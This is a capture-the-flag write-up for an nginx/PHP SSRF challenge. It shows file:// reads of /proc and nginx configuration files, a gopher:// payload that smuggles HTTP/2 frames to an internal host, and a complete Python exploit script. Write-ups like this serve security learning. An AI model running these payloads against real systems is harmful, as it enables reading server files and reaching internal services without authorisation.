PWNHUB Pink friend writeup

Nginx SSRF · 發表 2019-01-30 20:23:57

摘要： Challenge What is Peppa Pig？參賽時間：2019.01.28 20:00 - 2019.01.30 20:00 參與人數：72 想知道胖哥特製的佩奇裡有什麼祕密嗎？快來一起玩耍吧！祝大家新春快樂，“豬”事...

Challenge

What is Peppa Pig？

參賽時間：2019.01.28 20:00 - 2019.01.30 20:00
參與人數：72

想知道胖哥特製的佩奇裡有什麼祕密嗎？

快來一起玩耍吧！

祝大家新春快樂，“豬”事順意！

https://40.73.33.181/

<?php
show_source(__FILE__);

if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!$url){
die('Can not parse url: '.$_GET['url']);
}
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $_GET['url']);
curl_exec($ch);
curl_close($ch);
}
?>

Analysis

Step 1 What’s the point?

When open this site, we can see the source code of PHP.

$_GET[‘url’]andcurl

Year, it’s SSRF.

Step 2 Read something

CmdLine is very important

for i in range(1, 30):
print(i)
pl = 'file:///proc/%d/cmdline' % i
r = ssrf(pl)
print(r)

Result:

bash /start.sh
nginx: master process /usr/sbin/nginx
nginx: worker process

Maybe should read the default configuration and log file for Nginx

/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/var/log/nginx/access.log;
/var/log/nginx/error.log
…etc

Some information in /etc/nginx/nginx.conf

#server {
#listen 8080
#location /flag {
#proxy_pass 172.20.0.3:8080
#}
#}

Step 3 Request 172.20.0.3:8080

WTF?! It’s so terrible!

b'\x00\x00\x12\x04\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x80\x00\x04\x00\x01\x00\x00\x00\x05\x00\xff\xff\xff\x00\x00\x04\x08\x00\x00\x00\x00\x00\x7f\xff\x00\x00\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'

I don’t know what it is!!!

Encrypted?

Maybe should test ssl or others?

Step 4 Analyze Request and Response message

curl -vv -k 'https://40.73.33.181/?url=http://172.20.0.3:8080/'

*Trying 40.73.33.181...
* TCP_NODELAY set
* Connected to 40.73.33.181 (40.73.33.181) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
...
* ALPN, server accepted to use h2
...
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x7fefcb000400)
> GET /?url=http://172.20.0.3:8080/ HTTP/2
> Host: 40.73.33.181
> User-Agent: curl/7.54.0
> Accept: */*
>
* Connection state changed (MAX_CONCURRENT_STREAMS updated)!
< HTTP/2 200
< server: nginx/1.14.0 (Ubuntu)
< date: Mon, 28 Jan 2019 19:37:43 GMT
< content-type: text/html; charset=UTF-8
<
<code>...
* Connection #0 to host 40.73.33.181 left intact
</code>���

It use HTTP2.0

Step 5 Analyze Frame

I foundhyper through ***(Search Engines)

Then parse the response data inStep 3

SettingsFrame(Stream: 0; Flags: None): 00030000008000040001...
WindowUpdateFrame(Stream: 0; Flags: None): 7fff0000
GoAwayFrame(Stream: 0; Flags: None): 0000000000000001

Good Job!

Step 6 Learn about HTTP2

You should learn something about http2

Frame
- header - parse_frame_header
- body - parse_body
SettingsFrame
- settings
HeadersFrame
- flags
  - END_STREAM
  - END_HEADERS
- data
  - struct
  - hpack
    - encode
    - decode
…etc

Step 7 Request by Gopher

gopher://172.20.0.3:8080/_ +HTTP/2 Connection Preface +HTTP Frames [ +HTTP Frames ]

eg.

gopher://172.20.0.3:8080/_PRI%2520%252A%2520HTTP/2.0%250D%250A%250D%250ASM%250D%250A%250D%250A%2500%2500%251E%2504%2500%2500%2500%2500%2500%2500%2501%2500%2500%2500%25FF%2500%2502%2500%2500%2500%2500%2500%2503%2500%2500%2500%2505%2500%2504%2500%2500%2500%25FF%2500%2506%2500%2500%2500%25FF%2500%2500%2515%2501%2505%2500%2500%2500%2501%2582%2586%2584A%258A%2508%259D%255C%250B%2581p%25DCx%250F%2503%2560%2581%25EFS%2581%25F9

Step 8 Get Flag

flag{Http2_Mak3_a_Differ3nce}

Exp.py

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from urllib.parse import *
from hpack import Encoder, Decoder
"""
Author : Virink <[email protected]>
Date: 2019/01/28, 23:23
"""

import requests
import urllib3
from hyperframe.frame import *
urllib3.disable_warnings()

URL = 'https://40.73.33.181'

req = requests.Session()
req.verify = False
req.cert = False


def ssrf(url):
url = URL+"/?url="+url
print("[+] Request -> %s" % url)
res = req.get(url)
try:
if res.status_code == 200:
html = res.content.decode('utf-8')
return html[html.find('</code>')+7:]
except Exception as e:
return res.content[res.content.find(b'</code>')+7:]


def genFrame(data):
next_f = 0
errn = 0
while len(data) > next_f+9:
print("[*] "+"-"*30)
if errn > 2:
break
try:
nframe, _len = Frame.parse_frame_header(
data[next_f:next_f+9])
nframe.parse_body(memoryview(data[next_f+9:next_f+9 + _len]))
print("[+] Frame -> %s" % nframe)
for i in nframe.__dict__:
if i == 'data':
print("[+] Data:")
print("[:heavy_check_mark:] ", Decoder().decode(nframe.data))
print("[+] ")
next_f += _len + 9
except Exception as e:
print(e)
errn += 1
next_f += _len + 9
continue


def parseFrame(path):
frames = []
f = SettingsFrame(0)
# f.settings = {
#f.HEADER_TABLE_SIZE: 0xff,
#f.ENABLE_PUSH: 0,
#f.MAX_CONCURRENT_STREAMS: 5,
#f.INITIAL_WINDOW_SIZE: 0xff,
#f.MAX_HEADER_LIST_SIZE: 0xff
# }
frames.append(f.serialize())
f = HeadersFrame(1)
f.flags.add('END_STREAM')
f.flags.add('END_HEADERS')
header_data = [
(':method', 'GET'),
(':scheme', 'http'),
(':path', '/'+path),
(':authority', '127.0.0.1:8080'),
('cookie', 'v'),
('accept', '*')
]
f.data = Encoder().encode(header_data)
frames.append(f.serialize())
data = b''.join(frames)
return quote(data)


if __name__ == '__main__':
# cmdline
# for i in range(1, 30):
#print(ssrf('file:///proc/%d/cmdline' % i))
# nginx.conf
# print(ssrf('file:///etc/nginx/nginx.conf'))
# 172.20.0.3:8080
pl = 'gopher://172.20.0.3:8080/_'
# 連線序言 PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n
pl += quote(quote('PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'))
# 幀 Frames[]
pl += quote(parseFrame(''))
genFrame(ssrf(pl))